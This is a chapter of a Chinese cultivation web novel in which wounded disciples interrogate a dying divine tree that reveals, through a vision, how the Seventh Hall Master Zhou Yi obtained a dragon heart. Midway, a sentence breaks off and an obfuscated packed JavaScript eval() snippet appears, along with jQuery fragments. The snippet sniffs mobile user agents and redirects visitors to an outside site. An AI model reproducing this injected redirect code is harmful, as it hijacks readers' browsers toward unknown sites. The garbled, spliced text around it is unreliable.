39. 吞日城(五)

作品:《摆烂师妹的黑化修仙手札

    许令禾喉头滚动唇间溢出半声气音,颤动的睫毛上还凝着泪珠。她干到死皮炸起的双唇开合,无声说了句什么。与她相熟的韦双靖立马便读懂了她的唇形,嘴角抽搐,这死丫头还这么能回嘴,想来她也无需担忧了。


    齐毓未能看懂她的意思,想要俯首凑近去听。许令禾偏头避开,猛地回握他覆在她掌心的手,扣住齐毓手腕的指节因用力而泛白,她嗓音沙哑:“这儿都有你啊,我可不敢嫌弃师兄……。”


    她侧过脸,呼吸擦过他的鼻尖。齐毓闻言无奈挑眉,刚想开口,许令禾下一句便又接上:“师兄莫往自己脸上贴金,你好歹双臂俱全。”许令禾清楚的记得自己干了些什么,她试着去挪动手臂,却只感受到尖锐的疼痛。


    用最虚弱的语气对自己的亲师兄说着刻薄的话,死气沉沉的人儿一下便有了鲜活感。或许她不自知,但任谁都能看出这才是许令禾原本的样子。


    齐毓只觉好笑,“哦?我竟不知自己脸上有金。”


    眼看许令禾还要再说,一旁的韦双靖实在忍不住,大声喊道:“好啦,你一声不吭出走也就罢了。怎地还这般牙尖嘴利,手又不是不能治。再不济,那还有颗什么个神树呢!”韦双靖深惧齐毓之威,方才听许令禾说话她便眼皮狂跳。连忙上前一步,指着罪魁祸首吸引二人的注意。


    经过前面差点被蛊惑的教训,无咎一直贴在玄灵宗几人三步之内。这会也觉得气氛不好,便顺着韦双靖的话打圆场道:“就是就是!”


    众人的目光看向返魂树,大殿的琉璃宝顶透下的光束驱散蔓蔓粗枝遮掩的暗色,微尘飞舞,赋予了几分它丢失的神性。


    返魂树见几人的眼神不善,树身一颤枝叶哗哗作响,声音惶恐:“能、能治能治,不过区区小伤!”


    青绿色光点自返魂树的树身飘出,丝带般长尾摇曳,其中夹杂着丝丝晦暗不明的魂力,彰显着返魂树作为神树所犯恶行。


    韦双靖双眼微眯,直勾勾地盯着这些光点,身子稍稍侧站脚下隐隐发力。若那棵破树有个什么小心思,她要确保自己有一击必杀的机会。


    余光看着光点没入许令禾血肉碳化、白骨裸露的手臂,惨不忍睹的半臂瞬息间变有了生机。


    悬着的心落了地,她下巴挑起冷哼一声,谅那破树也不敢做甚么小动作。


    当事人许令禾平淡地注视着在寸寸复原的手臂,对此心无波澜。她脑中全是那位金矛穿身死守殿门的前辈,那些天域弟子接连赴死的身影,还有宛若炼狱般的惨景。


    她抬眼,许是心魔难抑,她控制不住地开口讥嘲返魂树:“你困住那些亡魂,要他们在你创造的世界里一遍又一遍地轮回,重演死亡。可你竟是一株象征生机的神树,真可悲!”


    返魂树一反在小世界中的嚣张气焰,惶惶不辩。


    “它之前提到第七殿主周一,还说是天域暗藏异宝,怀璧其罪。”齐毓款步行至返魂树左侧,树与人之间隐成剑拔弩张的对峙之势,他逼近返魂树语气玩味道:“想来你还有话要交代?”


    几片残叶悠悠飘落,它依旧缄默。


    无咎本就脾气暴躁,被破树接二连三的沉默整得直挠头。他取出火折子三步并作两步冲上前去,大声说:“别问了,既是不说。看我一把火烧了此树,也算祭了我师祖还有我那些同宗前辈的亡魂!”


    才走几步,他的膝盖便突然一疼,整个人扑倒在地,火折子也脱手不知滚进哪个角落里。


    “啊…疼疼疼……”无咎懊恼爬起,满目疑惑地捂着头回身望去。


    只见韦双靖正好收拢空云伞。她对上无咎幽怨的眼神,白眼一翻撇嘴道:“急什么,傻大楞。”


    “我要找的阵盘,想必也在你手中。”许令禾胸腔胀痛呼吸困难,说话时的话音也带着忍痛的颤。


    从她被他引到小世界时,她就隐约猜到了。即使第七殿主那有回溯之能的阵盘存在,也十有八九在此人…此树手中。


    “唉……”返魂树长叹,本就不多的巨叶耷拉到地,显得无比颓丧。


    它分出几根树枝,缓缓探到几人面前。尖锐的枝头向内卷起,以示自己没有恶意。


    可许令禾等人又怎么会轻信与它?


    齐毓闪身抱起许令禾避过它的枝桠,而韦双靖则一个激灵跳上了殿内的房梁上,就连无咎也不愿以身犯险,狄梵棍甩出棍花将返魂树枝格挡。


    “我并未暗藏祸心。”琉璃宝顶透下的光斑在枯叶间游移,许令禾的诘问刺痛它的心,可被天域困住、被小世界困住的难道只有那些亡魂吗?


    它背负了百年的痛苦,原以为要就此深埋地底。没想到有朝一日也有说出来的机会,然而此事却实难开口,“也罢,终是我欠了周一的。只是这桩因果也该见见天光了……”


    “要从何说起呢?”伴随着话音,一道青光自树身绽出。待强光散去,众人眼前出现的却并非天域覆灭之景,而是一片荒芜焦土。


    干涸的大地中央矗立着半截返魂树残躯,树干中间是一颗琥珀质的心。


    一个长发披散的男人站在枯树面前,手中的玉质长剑上鲜红的血液汨汨滴进开裂的地面。


    落日压低地平线时,男人孤影孑立,这偌大的天地,竟无一朵流云肯为他停留。


    而他周边几丈范围,七零八落地躺着数具已经了无生息的无头尸身。他们各个黑衣裹身,战时又蒙住面容,甚至在气绝前极端地选择自爆而亡,无非就是不想让男人发现他们的身份。


    男人玉剑转花,收剑入鞘。许令禾几人都只能看见他的背影,恰好此时一阵裹着血腥味的南风吹来。


    男人似有所感,他侧头,眉目清隽与明流玉有几分神似的脸上透着几分战后的疲惫。微风卷起他的青丝,他有些不耐地歪头将发丝拨开,那张脸在几人眼中便越发清晰。


    许令禾他们几个年轻人都不知道这是谁,唯有齐毓当即一怔,这张脸,有多少年未见了?


    “这就是天域第七殿主周一。”返魂树的声音忽而变得有些苍老,它的枯枝拂过许令禾长出嫩红新肌的手臂:“九百年前,仙魔大战才止。原本沉睡在极北与西州边界一处时间节点的我,被此界失去平衡的灵气唤醒。”


    返魂树絮絮叨叨地耳边讲述着,几人也看着周一已经抬步走向那半截枯树。


    “我的前任主人是龙族,他陨落之时将龙心置于我体内,外溢的龙气招来了这些人,也引来了在渡劫的周一。”


    “好端端的一棵神树,变成这样实属可惜。”周一从袖中取出一根紫色长绸,一边拢起长发将其高高束起,一边同看起来已经死去的返魂树说话。


    他语气随性像是在菜场闲谈:“你若愿意随我回家,我许能保你安宁,起码允你修养生息。”


    说罢,男人便抱着双臂好整以暇地等着残树开口,好似并不觉得返魂树真的已死。几刻钟过去,男人还是同样的姿势站着,一动未动。


    终究,那棵不曾信任过人类的残树先开口了。


    “条件?”


    “你躯干中的龙心,要借来一用。”


    “不可。”


    “别那么快回绝嘛~真的只是借用,又不是不还你了。”周一浅笑着说,而这笑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581137|168613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直将旁观的无咎看呆,师祖跟师父也太像了,他们是父子么?


    见返魂树沉默,周一笑容收回,他肃容道:“此处除了我,谁都可以来。下一个来的是人是鬼,可就由不得你了。”


    狂风骤起,卷走天空中为数不多的云霞,也将周一的广袖吹得猎猎作响,在风中飞舞。


    “好。”


    众人只听返魂树的声音回荡,心中恍然大悟。如果这就是一切的起源,那么结合返魂树所言“怀壁其罪”,天域惨案的迷雾便再拨一层,即将觅得真相。


    几人目睹双方结下魂契,许令禾的目光却被一句尸身吸引。她扯了扯齐毓的衣领,惊讶道:“快看!”


    三人顺着她手指的方向望去,遥见一具死尸腕上亮着浅淡红光的留影法器。


    幻境中,日影没入地平线下。最后一丝日光消失不见,取而代之的是无尽的黑暗。而这黑暗中,留影镯的红光在几人眼中更显诡异。


    返魂树幽幽长叹道:“是以,百密一疏。”


    韦双靖只觉胸口堵塞,浊气郁结,她狐耳蔫蔫地垂着,“怪道是‘怀壁其罪’,幕后之人怕是早就知道天域有龙心!”


    “倘若只为龙心,何必费这么大力气让一个宗门倾覆?”许令禾斜了眼已同周殿主达成魂契,献出龙心交予周一之手的半棵残树,她不信。不信仅凭一颗龙心,就能引得如此大的祸端。


    她杏眸锐利,透过残树的枯干仿佛直接穿过幻境表里,质问如今的返魂树:“到底还有甚么?”


    “师妹,你这一趟出门,倒是聪慧许多。”齐毓垂眸笑看怀中人,尽管刻薄的后果往往必是师妹的白眼,然他总觉有趣,乐此不疲。


    许令禾无言以对,“哼。”幼稚!


    风沙卷着碎叶掠过枯枝,返魂树的声音被风扯得断断续续。毕竟受了天罚,哪还能同往昔相比。


    “……有些为难。”残树和周殿主的身影化作黄沙随风消逝,取而代之的是明显佝偻了许多的返魂树。树冠在微弱月光下轻轻震颤,“如今我亦是油尽灯枯,再无余力重现旧事……”


    它忽然沉默,宿命流转,它模糊地忆起,好似百年前也对那个男人说过类似的话,“我只能告诉你,只要天域道统尚存。那些人要的,永远不会彻底得到,他们必会卷土重来。”


    “他们是谁?!是仙是魔是妖?!”这句追问几乎是暴喝出来的,震耳欲聋的恨意在广阔的死寂之地回荡。


    无咎悲从心起,他从前想不通为何他们都躲进地底了,外头还总有人刺探、徘徊,害得残部的孩子们连外界是何模样都未曾见过。害得他师父为此耗尽心血,带着整个残部东躲西藏。害得他兰师叔为引走探子葬身沙海,只留得残部中那座沉默的衣冠冢。


    “是谁重要吗?”事已至此,返魂树也已经毫无保留,“孩子,我不知。”


    它的声音虚浮,若有似无地随风飘进众人耳际,“我快坚持不住了…你们说的对,我有罪。”返魂树抛出自己唯一一颗吡魂果,这是它为贪欲献祭自己前的最后一颗,能称为吡魂果的产物。


    “可我也为天域旧址守了百年啊,没有我,他们还是会来的。”返魂树断断续续的话语中夹杂着不甘,“我也不算太坏罢?”


    众人一言不发,沉默的角色在此刻互换。他们无从评判返魂树的是非功过,唯有缄默。


    “唉!”它嗟叹,枯枝逐渐萎缩,这棵或许是望墟界仅存的上古神树终于情愿坦然赴死,“我一亡,天域旧址再无庇护,你们……切莫重蹈覆辙…”


    “言尽于此,再无可辨,望天道判罚!”